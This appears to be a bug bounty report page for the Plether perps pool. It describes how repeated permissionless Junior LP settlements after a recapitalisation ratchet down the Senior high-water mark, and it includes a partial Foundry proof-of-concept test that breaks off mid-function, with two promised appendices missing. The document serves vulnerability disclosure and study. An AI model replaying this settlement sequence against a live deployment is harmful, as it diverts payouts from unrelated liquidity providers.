Skip to content
Business logic Audit finding Advanced

Permissionless Junior LP settlements ratchet down Senior recovery and reduce an unrelated LP's final payout

Repeated permissionless Junior LP settlements after a recapitalisation cause the Senior high-water mark to be reassigned to a smaller remaining recapitalisation intent, so an unrelated Senior LP receives a much smaller payout than it would have without those settlements. The text frames this as a griefing-style accounting flaw where a Junior actor can ratchet down Senior recovery and capture more realised cash.

Rrudy Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#99025 [SC-High] Permissionless Junior LP settlements ratchet down Senior recovery and reduce an unrelated LP's final payout

Submitted on Nov 11th 2026 at 13:47:00 UTC by @Rrudy for Audit Competition | Plether

Description

The pinned accounting specification makes seniorHighWaterMark the entitlement that future Pool revenue must restore after a loss. A loss does not lower that mark, and surplus should reach Junior only after Senior recovery. Public PR #122 also says its correction preserves the full-intent high-water mark. Following a terminal loss in the test, the owner performs the documented recapitalizePool(21,520.341732 USDG) and clearDegradedMode recovery calls. The first public LP settlement records the full 21,520.341732 USDG recapitalization intent as Senior HWM, with 3,000 USDG Senior principal and 18,520.341732 USDG pending recapitalization.

An external Junior holder can then request redemption of all its zero-current-value shares, call permissionless OrderRouter.settleLpEpoch at maturity, claim the refunded shares, and repeat. Each qualifying pass through HousePool._reconcile reserves the still-pending recapitalization against equity previously credited to Senior. HousePoolReconcilePlanLib.planReconcile consequently sees a shortfall and removes existing Senior principal. HousePoolPendingPreviewLib.applyClaimantRecapitalizationIntent takes its empty-principal bootstrap and assigns the smaller remaining recapitalization intent to seniorHighWaterMark. The first five extra settlements lower HWM from 21,520.341732 to 4,120.341612 USDG; the sixth leaves it there. Extra settlements two through five lower it with the same mark and Pool cash, without a new loss or Senior share burn. pendingTradingRevenueAssets is zero at each reset.

The PoC takes one post-recap state snapshot and compares two continuations. A has six additional Junior-triggered LP settlements. B advances through the same times and marks without them. Before the later trades, the test asserts equal Pool cash, mark, timestamp, and both tranche share supplies. Each branch then has the same 18,001.462870 USDG Pool cash inflow from public trading. The passive SENIOR_LP, with half of Senior supply, publicly redeems and actually receives 2,060.170805 USDG in A versus 10,050.731550 USDG in B, 7,990.560745 USDG less. In both branches, that LP ends with zero Senior shares in its wallet, zero pending, claimable, and refundable Senior shares, and zero claimable Senior assets. The discrepancy is a completed payout, not a delayed claim.

The PoC also measures the entire external Junior economic actor, assuming control of both JUNIOR_LP and JUNIOR_HOLDER. The holder triggers the repeated settlements and receives 161.019882 USDG in A versus zero in B. The other Junior address claims an earlier refundable request, then uses public requestRedeem, settleLpEpoch, and claimRedeem to receive another 15,304.941325 USDG in A versus zero in B. Across those two controlled wallets, the same-time A−B incremental realized cash is +15,465.961207 USDG. This cash increment is not a dollar-for-dollar transfer of the one Senior LP's 7,990.560745 USDG reduction. Other Senior ownership, Pool cash, seed shares, and residual Junior rights remain. It is also not a lifetime or gas-adjusted profit claim.

The Junior actor's two addresses had deposited 500,000 + 1,000 = 501,000 USDG before the loss. JUNIOR_LP had already received 402,742.681478 USDG from a partial exit in both branches. The controlled wallets end with 418,208.642685 USDG cash in A and 402,742.681478 in B: A is 82,791.357315 USDG below the initial deposits, while B is 98,257.318522 below. A also has 2,205,159,527,901 unsettled Junior shares with a 354.354178 USDG current quote after a no-progress settlement attempt; this is not cash and is excluded. B has 97,444,910,506,519 refundable Junior shares currently quoted at zero. Their future withdrawal option is not proved worthless. The separately locked owner seed shares are not attacker-controlled and are excluded from both wallets.

The selected mock-EVM operations consume an estimated 5,910,351 gas in A versus 898,199 in B, an incremental 5,012,152 gas that includes one failed no-progress settlement attempt. This excludes intrinsic transaction gas, Arbitrum L1 data fees, signed Pyth update fees, external keeper/Hermes costs, and the gas-to-USDG exchange rate. Actual fee-adjusted cash gain is unknown. The PoC does not establish that the controlled Junior position can be entered or retained at an economic cost below its conditional cash benefit, or that the synthetic loss and later trading path occurs in live signed-market conditions.

This is an incomplete-fix candidate related to public Cecuro MED-12. PR #122 describes a stale allowRevenueContinuation decision that misassigned same-batch pending trading revenue after recapitalization; its correction recomputes that decision after applying the pending recapitalization. This test's first failing transition is instead the later repeated reservation and empty-principal bootstrap HWM assignment across separate LP settlements in HousePoolPendingPreviewLib.applyClaimantRecapitalizationIntent; pendingTradingRevenueAssets == 0 at those resets. The PR noted that no production Engine caller recording recapitalization had then been found. At the pinned commit, the documented owner recovery call CfdEngine.recapitalizePool records Recapitalization/CashArrived, and this PoC uses that route before permissionless LP settlements. The PR also discusses preserving a full-intent HWM and residual buckets. These code and call-path differences support review of an incomplete fix but do not independently resolve the competition's public-root-cause or prior-disclosure rules.

The release-style fixture uses the six published basket feed IDs, weights, inversion flags, and risk limits with unsigned synthetic MockPyth prices, not historical signed FX updates. The wipe path moves the basket approximately 1.00→0.40/1.60 at different times, roughly a 60% move; the later profit-to-Pool scenario moves about 0.40→1.90. The test proves conditional accounting and wallet effects under that path. It does not measure how often real six-feed signed data could create it. The owner uses documented recovery calls, and no trusted actor is assumed malicious.

Suggested remediation: preserve the full-intent Senior HWM for the same outstanding Senior supply across repeated reconciliations when no new loss or Senior redemption occurred. Track how much pending recapitalization has already been attributed to Senior so later LP settlements cannot reserve and bootstrap it again. A regression should assert unchanged HWM after an extra mature LP settlement with unchanged Pool cash, mark, and Senior shares.

Proof of Concept

Pin the public repository and submodules to a82d4fefb02768e5b3bddcc97dee371eee24fea8 and verify git rev-parse HEAD in that clone before running the PoC. Save Appendices A, B, and C below in one directory as SeniorHwmSixFeed.t.sol, run_poc_isolated.sh, and patch_sixfeed_fixture.py. Run Appendix B with MED12_SOURCE_ROOT=/path/to/pinned/clone MED12_RUN_NAME=review01 bash run_poc_isolated.sh from a credential-free Linux/WSL shell with Forge 1.5.1, Solidity 0.8.35, Python 3, and bwrap; set MED12_FORGE_BIN, MED12_SOLC_BIN, MED12_BWRAP_BIN, or MED12_DEPS_ROOT if those tools or public dependencies are elsewhere. The runner copies the public source into disposable scratch, patches only scratch BasePerpTest.sol to install the six-feed mock and production OrderRouter, then runs Foundry with --offline inside bwrap --unshare-user --unshare-pid --unshare-net --clearenv. It never changes in-scope packages/perps/src or sends a public-chain transaction. All three required files are included below.

The test deposits Junior and Senior liquidity through the public vault flow, creates the loss with public OrderRouter orders and synthetic feed updates, and invokes the owner's documented recapitalization and degraded-mode clearance. It snapshots after the first public LP settlement. A uses six full-share Junior refunds and additional settlements; B advances through identical timestamps and marks. The test asserts equal pre-revenue cash, mark, time, and supplies, and equal subsequent 18,001.462870 USDG trading inflow. Both branches publicly settle and claim the victim's Senior redemption and both Junior addresses' available value. _claim compares actual USDG balanceOf before and after the claim with the return amount. The second A settlement attempt on the residual Junior request makes no progress; its 354.354178 USDG quote remains excluded from cash. B is advanced to the same final timestamp. Separate tests pay the trader claim first and verify a public bootstrap without an owner configuration change.

Expected result: the three Appendix A tests pass, including the A/B Senior wallet-receipt and HWM assertions. The runner prints its exit status and retains the complete Forge output locally for the reviewer. The inline source below is the evidence to reproduce; no separate log directory or archive is needed.

Measured USDG or selected EVM gas A: extra settlements B: control
Senior HWM before later revenue 4,120.341612 21,520.341732
Later trading cash inflow to Pool 18,001.462870 18,001.462870
Unrelated Senior LP final USDG wallet receipt 2,060.170805 10,050.731550
JUNIOR_HOLDER final USDG wallet 161.019882 0
JUNIOR_LP final USDG wallet, including prior exit 418,047.622803 402,742.681478
Combined controlled Junior wallet USDG 418,208.642685 402,742.681478
Selected EVM gas estimate 5,910,351 898,199

The table compares actual wallet receipts at the same final timestamp after a common loss and recapitalization; it does not value residual shares or external execution costs.

Appendix A — SeniorHwmSixFeed.t.sol

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

// Six-feed synthetic-price A/B for the pinned production contracts. The runner patches only
// the scratch BasePerpTest oracle fixture and deploys production OrderRouter; packages/perps/src is unchanged.

import {BasePerpTest} from "../../BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {HousePoolEngineViewTypes} from "@plether/perps/interfaces/HousePoolEngineViewTypes.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";

contract SeniorHwmSixFeedTest is BasePerpTest {
    address internal constant SENIOR_LP = address(0xB0B); // victim: ordinary Senior LP
    address internal constant JUNIOR_LP = address(0xA11CE); // ordinary Junior LP that exits before the loss
    address internal constant JUNIOR_HOLDER = address(0xA77AC0); // Junior LP that stays through the loss
    address internal constant TRADER = address(0xC0A01);
    address internal constant TRADER_2 = address(0xC0A02);
    address internal constant TRADER_3 = address(0xD1203);
    address internal constant REVENUE_TRADER = address(0xC1A0DE);
    address internal constant KEEPER = address(0xB0A7D); // permissionless caller

    uint256 internal constant ENTRY_PRICE = 1e8;
    uint256 internal constant LOW = 40_000_000;
    uint256 internal constant HIGH = 160_000_000;
    uint256 internal constant SIZE = 100_000e18;

    uint256 internal constant ROUNDS = 6;
    uint256 internal constant ROUND_STEP = 4 hours;
    uint256 internal constant ROUND_SETTLE_OFFSET = 150 minutes;

    struct TerminalRights {
        uint256 seniorPaid;
        uint256 seniorWalletShares;
        uint256 seniorPendingShares;
        uint256 seniorClaimableShares;
        uint256 seniorClaimableAssets;
        uint256 seniorRefundableShares;
        uint256 juniorPaid;
        uint256 juniorWalletShares;
        uint256 juniorPendingShares;
        uint256 juniorClaimableShares;
        uint256 juniorClaimableAssets;
        uint256 juniorRefundableShares;
        uint256 juniorRefundableCurrentAssets;
    }

    TerminalRights private lastTerminalRights;
    uint256 private initialJuniorRedeemId;
    uint256 private attackerGasEstimate;

    function _initialJuniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    /// Release parameters named on the competition page: maintenance 0.1%, initial 0.2%,
    /// Senior cap 40M USDG and 80% of the pool. Each change goes through the owner timelock helpers.
    function setUp() public override {
        super.setUp();
        CfdTypes.RiskParams memory risk = _riskParams();
        risk.vpiFactor = 0.01e18;
        risk.maintMarginBps = 10;
        risk.initMarginBps = 20;
        _setRiskParams(risk);
        IOrderRouterAdminHost.RouterConfig memory routerConfig = _routerConfig();
        routerConfig.adverseConfidenceMultiplierBps = 2500;
        routerConfig.minOpenNotionalAssets = 1_000e6;
        routerConfig.maxPendingOrders = 5;
        // Same as BasePerpTest._setRouterConfig, but reads the cheatcode clock so the 72h timelock
        // is measured from the warped time under via-IR.
        routerAdmin.proposeRouterConfig(routerConfig);
        vm.warp(vm.getBlockTimestamp() + 72 hours + 1);
        routerAdmin.finalizeRouterConfig();
        _setSeniorCapacity(40_000_000e6, 8000);
        (uint256 vpi, uint256 maxSkew, uint256 maint, uint256 initial, uint256 fad,,,,,) = engine.riskParams();
        assertEq(vpi, 0.01e18, "vpi factor");
        assertEq(maxSkew, 0.4e18, "release max skew ratio");
        assertEq(maint, 10, "maintenance margin 0.1%");
        assertEq(initial, 20, "initial margin 0.2%");
        assertEq(fad, 300, "release FAD margin");
        assertEq(engine.settlementBufferBps(), 25, "release settlement buffer");
        assertEq(engine.CAP_PRICE(), 2e8, "release cap price");
        assertEq(router.minOpenNotionalAssets(), 1_000e6, "release min open notional");
        assertEq(router.maxPendingOrders(), 5, "release max pending orders");
        assertEq(pool.maxSeniorShareBps(), 8000, "Senior share cap 80%");
        assertEq(pool.maxSeniorExposureAssets(), 40_000_000e6, "Senior cap 40M");
        assertEq(engine.executionFeeBps(), 4, "execution fee 0.04%");
        assertEq(router.pletherOracle().adverseConfidenceMultiplierBps(), 2500, "release oracle confidence");
    }

    // ------------------------------------------------------------------ public-path helpers

    function _order(CfdTypes.Side side, bool close, uint256 size, uint256 margin, uint256 target, bytes32 tag)
        private
        view
        returns (OrderV3Types.OrderRequest memory r)
    {
        r.clientOrderId = tag;
        r.side = side;
        r.isClose = close;
        r.sizeDelta = size;
        r.marginDelta = margin;
        r.targetPrice = target;
        r.bounds = OrderV3Types.ExecutionBounds({
            submitBy: uint64(vm.getBlockTimestamp() + 60),
            executionWindowSeconds: 60,
            allowedExecutionModes: 7,
            expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
            maxExecutionBountyAssets: type(uint256).max,
            maxExecutionNotionalAssets: type(uint256).max,
            maxGrossAccountDebitAssets: type(uint256).max,
            maxActionChargeAssets: type(uint256).max,
            maxExplicitFeesAssets: type(uint256).max,
            maxPostPositionSize: type(uint256).max,
            minPostSettlementBalanceAssets: 0,
            minPostPositionEquityAssets: 0,
            maxPostLeverageBps: type(uint32).max
        });
    }

    function _execute(address account, OrderV3Types.OrderRequest memory r, uint256 price) private {
        vm.prank(account);
        uint64 id = router.commitOrder(r);
        bytes[] memory tick = _mockPythUpdateData(price);
        vm.prank(KEEPER);
        OrderV3Types.ExecutionResult memory result = router.executeOrder(id, tick);
        assertEq(uint8(result.status), uint8(OrderV3Types.LifecycleStatus.Executed), "public order executed");
    }

    function _freshMark(uint256 price) private returns (bytes[] memory tick) {
        tick = _mockPythUpdateData(price);
        vm.prank(KEEPER);
        router.updateMarkPrice(tick);
    }

    function _deposit(TrancheVault vault, address lp, uint256 assets) private returns (uint256 shares) {
        settlementToken.mint(lp, assets);
        vm.startPrank(lp);
        settlementToken.approve(address(vault), assets);
        uint256 id = vault.requestDeposit(assets, lp);
        vm.stopPrank();
        uint256 epochStart = pool.lpEpochStart(id);
        if (vm.getBlockTimestamp() < epochStart) vm.warp(epochStart);
        bytes[] memory tick = _mockPythUpdateData(ENTRY_PRICE);
        vm.prank(KEEPER);
        router.settleLpEpoch(tick);
        emit log_named_uint("DEPOSIT_SETTLE_OK", 1);
        shares = vault.claimableDepositShares(id, lp);
        vm.prank(lp);
        vault.claimDeposit(id, assets, lp, lp);
        assertEq(vault.balanceOf(lp), shares, "LP shares delivered");
    }

    function _claim(TrancheVault vault, address lp) private returns (uint256 paid) {
        uint256 id = vault.controllerRedeemHead(lp);
        if (id == 0) return 0;
        uint256 shares = vault.claimableRedeemRequest(id, lp);
        if (shares == 0) return 0;
        uint256 beforeWallet = settlementToken.balanceOf(lp);
        vm.prank(lp);
        paid = vault.claimRedeem(id, shares, lp, lp);
        assertEq(settlementToken.balanceOf(lp) - beforeWallet, paid, "actual LP wallet payout");
    }

    /// Ordinary LP exits before the loss (Junior LP keeps 1 share atom, Senior LP keeps 1e12 shares).
    function _lpExit(uint256 juniorShares, uint256 seniorShares) private {
        vm.warp(vm.getBlockTimestamp() + 3601);
        bytes[] memory markTick = _mockPythUpdateData(ENTRY_PRICE);
        vm.prank(KEEPER);
        router.updateMarkPrice(markTick);
        vm.prank(SENIOR_LP);
        uint256 seniorId = seniorVault.requestRedeem(seniorShares, SENIOR_LP, SENIOR_LP);
        vm.prank(JUNIOR_LP);
        uint256 juniorId = juniorVault.requestRedeem(juniorShares, JUNIOR_LP, JUNIOR_LP);
        initialJuniorRedeemId = juniorId;
        uint256 start = pool.lpEpochStart(seniorId);
        if (pool.lpEpochStart(juniorId) > start) start = pool.lpEpochStart(juniorId);
        if (vm.getBlockTimestamp() < start) vm.warp(start);
        bytes[] memory exitTick = _mockPythUpdateData(ENTRY_PRICE);
        vm.prank(KEEPER);
        router.settleLpEpoch(exitTick);
        emit log_named_uint("EXIT_SETTLE_OK", 1);
        _claim(seniorVault, SENIOR_LP);
        _claim(juniorVault, JUNIOR_LP);
        vm.warp(vm.getBlockTimestamp() + 1);
        _logJuniorWealth("JUNIOR_WEALTH_AFTER_INITIAL_EXIT");
    }

    /// Terminal equity available to LP claimants (positive part) and its shortfall (negative part).
    function _equity() private view returns (uint256 distributable, uint256 shortfall) {
        HousePoolEngineViewTypes.HousePoolInputSnapshot memory snap =
            engineProtocolLens.getHousePoolInputSnapshot(pool.markStalenessLimit());
        uint256 assets = snap.physicalAssets;
        uint256 liabilities = snap.traderClaimBalanceAssets;
        if (snap.terminalLpPriceDeltaAssets >= 0) assets += uint256(snap.terminalLpPriceDeltaAssets);
        else liabilities += uint256(-snap.terminalLpPriceDeltaAssets);
        if (assets >= liabilities) distributable = assets - liabilities;
        else shortfall = liabilities - assets;
    }

    function _log(string memory tag) private {
        (uint256 distributable,) = _equity();
        emit log_string(tag);
        emit log_named_uint("  timestamp", vm.getBlockTimestamp());
        emit log_named_uint("  mark", engine.lastMarkPrice());
        emit log_named_decimal_uint("  poolCash", pool.totalAssets(), 6);
        emit log_named_uint("  Senior share supply", seniorVault.totalSupply());
        emit log_named_uint("  Junior share supply", juniorVault.totalSupply());
        emit log_named_decimal_uint("  seniorHighWaterMark", pool.seniorHighWaterMark(), 6);
        emit log_named_decimal_uint("  seniorPrincipal", pool.seniorPrincipal(), 6);
        emit log_named_decimal_uint("  juniorPrincipal", pool.juniorPrincipal(), 6);
        emit log_named_decimal_uint("  unassignedAssets", pool.unassignedAssets(), 6);
        emit log_named_decimal_uint("  pendingRecapitalizationAssets", pool.pendingRecapitalizationAssets(), 6);
        emit log_named_decimal_uint("  pendingTradingRevenueAssets", pool.pendingTradingRevenueAssets(), 6);
        emit log_named_decimal_uint("  distributable equity", distributable, 6);
    }

    /// One ordinary LP redemption request for a zero-value share, then a permissionless settlement.
    function _requestAndSettle(uint256 markPrice) private {
        vm.prank(JUNIOR_LP);
        uint256 id = juniorVault.requestRedeem(1, JUNIOR_LP, JUNIOR_LP);
        if (vm.getBlockTimestamp() < pool.lpEpochStart(id)) vm.warp(pool.lpEpochStart(id));
        bytes[] memory tick = _freshMark(markPrice);
        assertEq(pool.pendingTradingRevenueAssets(), 0, "no pending trading revenue is involved");
        vm.prank(JUNIOR_HOLDER);
        router.settleLpEpoch(tick);
        emit log_named_uint("FIRST_RECAP_SETTLE_OK", 1);
        assertEq(juniorVault.refundableRedeemRequest(id, JUNIOR_LP), 1, "zero-asset request is refunded");
        vm.prank(JUNIOR_LP);
        juniorVault.claimRedeemRefund(id, JUNIOR_LP, JUNIOR_LP);
        assertEq(juniorVault.balanceOf(JUNIOR_LP), 1, "requester share returned");
    }

    // ------------------------------------------------------------------ scenario

    /// Reaches recovery through public Router/LP calls plus owner recapitalization and degraded-mode clearing.
    /// No Pool config proposal/finalization is needed.
    function _reachRecoveryState() private returns (uint256 recap) {
        uint256 juniorShares = _deposit(juniorVault, JUNIOR_LP, 500_000e6);
        uint256 seniorShares = _deposit(seniorVault, SENIOR_LP, 250_000e6);
        _deposit(juniorVault, JUNIOR_HOLDER, 1_000e6);
        assertGt(juniorVault.balanceOf(JUNIOR_HOLDER), 1, "holder owns Junior shares");
        _fundTrader(TRADER, 5_000e6);
        _fundTrader(TRADER_2, 100_000e6);
        _fundTrader(TRADER_3, 10_000e6);
        _execute(TRADER, _order(CfdTypes.Side.LONG, false, SIZE, 2_000e6, 1, keccak256("t1-open")), ENTRY_PRICE);
        _execute(
            TRADER_2,
            _order(CfdTypes.Side.SHORT, false, SIZE, 80_000e6, engine.CAP_PRICE(), keccak256("t2-open")),
            ENTRY_PRICE
        );
        _execute(
            TRADER_3,
            _order(CfdTypes.Side.SHORT, false, 1_000e18, 2_000e6, engine.CAP_PRICE(), keccak256("t3-open")),
            ENTRY_PRICE
        );
        _lpExit(juniorShares - 1, seniorShares - 1e12);
        _execute(TRADER, _order(CfdTypes.Side.LONG, true, SIZE, 0, engine.CAP_PRICE(), keccak256("t1-close")), LOW);
        _execute(TRADER_2, _order(CfdTypes.Side.SHORT, true, SIZE, 0, 1, keccak256("t2-close")), HIGH);
        emit log_named_decimal_uint("unpaid trader claim", engine.traderClaimBalanceAssets(TRADER_2), 6);
        emit log_named_decimal_uint("pool cash after the loss", pool.totalAssets(), 6);
        assertGt(engine.traderClaimBalanceAssets(TRADER_2), pool.totalAssets(), "trader claim exceeds pool cash");

        _freshMark(ENTRY_PRICE);
        emit log_named_uint("OWNER_CONFIG_CHECKPOINT", 0);
        _log("STATE before owner recapitalization");
        (, uint256 shortfall) = _equity();
        recap = shortfall + 3_000e6;
        assertGt(recap, shortfall, "partial recap has positive distributable equity");
        emit log_named_decimal_uint("equity shortfall before recapitalization", shortfall, 6);
        emit log_named_decimal_uint("owner recapitalization P", recap, 6);
        settlementToken.mint(address(this), recap);
        settlementToken.approve(address(engine), recap);
        engine.recapitalizePool(recap); // owner
        if (engine.degradedMode()) engine.clearDegradedMode(); // owner

        _requestAndSettle(ENTRY_PRICE); // first public settlement after the recapitalization
        _log("STATE after first public recap settlement");
    }

    function _rounds(bool settle, uint256 base) private {
        for (uint256 i = 0; i < ROUNDS; ++i) {
            vm.warp(base + i * ROUND_STEP);
            if (!settle) {
                vm.warp(base + i * ROUND_STEP + ROUND_SETTLE_OFFSET);
                _freshMark(LOW);
                continue;
            }
            uint256 holderShares = juniorVault.balanceOf(JUNIOR_HOLDER);
            assertGt(holderShares, 0, "beneficiary has shares to request");
            vm.prank(JUNIOR_HOLDER);
            uint256 beforeGas = gasleft();
            uint256 id = juniorVault.requestRedeem(holderShares, JUNIOR_HOLDER, JUNIOR_HOLDER);
            attackerGasEstimate += beforeGas - gasleft();
            vm.warp(base + i * ROUND_STEP + ROUND_SETTLE_OFFSET);
            bytes[] memory tick = _freshMark(LOW);
            assertLe(pool.lpEpochStart(id), vm.getBlockTimestamp(), "epoch matured");
            uint256 pendingBefore = pool.pendingRecapitalizationAssets();
            assertEq(pool.pendingTradingRevenueAssets(), 0, "no pending trading revenue is involved");
            vm.prank(JUNIOR_HOLDER);
            beforeGas = gasleft();
            router.settleLpEpoch(tick);
            attackerGasEstimate += beforeGas - gasleft();
            emit log_named_uint("ROUND_SETTLE_OK", 1);
            assertEq(seniorVault.totalSupply(), 2e12, "no Senior share burned by this settlement");
            assertEq(juniorVault.refundableRedeemRequest(id, JUNIOR_HOLDER), holderShares,
                "beneficiary's full zero-value request is refundable");
            vm.prank(JUNIOR_HOLDER);
            beforeGas = gasleft();
            juniorVault.claimRedeemRefund(id, JUNIOR_HOLDER, JUNIOR_HOLDER);
            attackerGasEstimate += beforeGas - gasleft();
            assertEq(juniorVault.balanceOf(JUNIOR_HOLDER), holderShares,
                "beneficiary retains shares for repeat trigger and eventual benefit");
            emit log_named_uint("settlement", i + 2);
            emit log_named_decimal_uint("  pending recap before", pendingBefore, 6);
            emit log_named_decimal_uint("  seniorHighWaterMark after", pool.seniorHighWaterMark(), 6);
            emit log_named_decimal_uint("  seniorPrincipal after", pool.seniorPrincipal(), 6);
            _log("ROUND_SETTLED");
        }
    }

    /// Ordinary trading revenue: losing round trips by an unrelated trader.
    function _tradingRevenue(uint256 openPrice, uint256 closePrice, uint256 rounds, uint256 funding,
        uint256 tradeSize) private {
        _fundTrader(REVENUE_TRADER, funding);
        uint256 cashBefore = pool.totalAssets();
        for (uint256 i = 0; i < rounds; ++i) {
            _freshMark(openPrice);
            _execute(
                REVENUE_TRADER,
                _order(CfdTypes.Side.LONG, false, tradeSize, 5_000e6, 1, keccak256(abi.encode("rev-open", i))),
                openPrice
            );
            _execute(
                REVENUE_TRADER,
                _order(CfdTypes.Side.LONG, true, tradeSize, 0, engine.CAP_PRICE(), keccak256(abi.encode("rev-close", i))),
                closePrice
            );
        }
        emit log_named_decimal_uint("trading revenue cash into the pool", pool.totalAssets() - cashBefore, 6);
    }

    /// Senior LP and the Junior holder redeem everything; returns actual wallet receipts.
    function _redeemAll(uint256 price, string memory tag) private returns (uint256 seniorPaid, uint256 juniorPaid) {
        _execute(TRADER_3, _order(CfdTypes.Side.SHORT, true, 1_000e18, 0, 1, keccak256("t3-close")), price);
        vm.warp(vm.getBlockTimestamp() + 3601);
        uint256 seniorHeld = seniorVault.balanceOf(SENIOR_LP);
        vm.prank(SENIOR_LP);
        uint256 sid = seniorVault.requestRedeem(seniorHeld, SENIOR_LP, SENIOR_LP);
        uint256 juniorHeld = juniorVault.balanceOf(JUNIOR_HOLDER);
        vm.prank(JUNIOR_HOLDER);
        uint256 beforeGas = gasleft();
        uint256 jid = juniorVault.requestRedeem(juniorHeld, JUNIOR_HOLDER, JUNIOR_HOLDER);
        attackerGasEstimate += beforeGas - gasleft();
        uint256 start = pool.lpEpochStart(sid);
        if (pool.lpEpochStart(jid) > start) start = pool.lpEpochStart(jid);
        if (vm.getBlockTimestamp() < start) vm.warp(start);
        for (uint256 round = 0; round < 4; ++round) {
            if (round > 0) vm.warp(vm.getBlockTimestamp() + 3601);
      

The original report as published on Immunefi, by Rrudy. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the empty-principal bootstrap in the pending-preview logic re-assigns the still-pending recapitalisation intent to the Senior high-water mark on each settlement, instead of preserving the full-intent mark for unchanged Senior supply.

Impact

An unrelated Senior LP could receive about 7,990 USDG less, while the controlled Junior wallets realise about 15,466 USDG more cash at the same timestamp, though the text notes this is conditional on a synthetic price path and does not establish a fee-adjusted profit.

What the attacker needed

Owner recapitalisation after a loss; Junior holder with zero-value shares; permissionless settlement callable; synthetic price path in test

The fix

The full-intent Senior high-water mark should be preserved across repeated reconciliations when no new loss or Senior redemption occurred, and pending recapitalisation already attributed to Senior should be tracked so later settlements cannot reserve it again.

How it was found

  1. Deposit Junior and Senior liquidity through the public vault flow and create a terminal loss using public orders and synthetic feed updates.
  2. The owner performs the documented recapitalisation and clears degraded mode.
  3. A Junior holder requests redemption of zero-value shares and calls the permissionless LP epoch settlement, then claims the refunded shares.
  4. Repeat the request, settlement and refund several times, each pass lowering the Senior high-water mark.
  5. Later trading revenue arrives and the passive Senior LP redeems, receiving far less than in a control run without the extra settlements.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A pool splits money between two groups, Senior and Junior. After a big loss the owner tops the pool back up, and the system is meant to remember that top-up so Senior is paid back first. The report says a Junior user can repeatedly trigger a routine settlement step, and each time the system forgets part of that remembered top-up, so Senior gets less and the Junior side keeps more.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Rrudy

View all

3 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.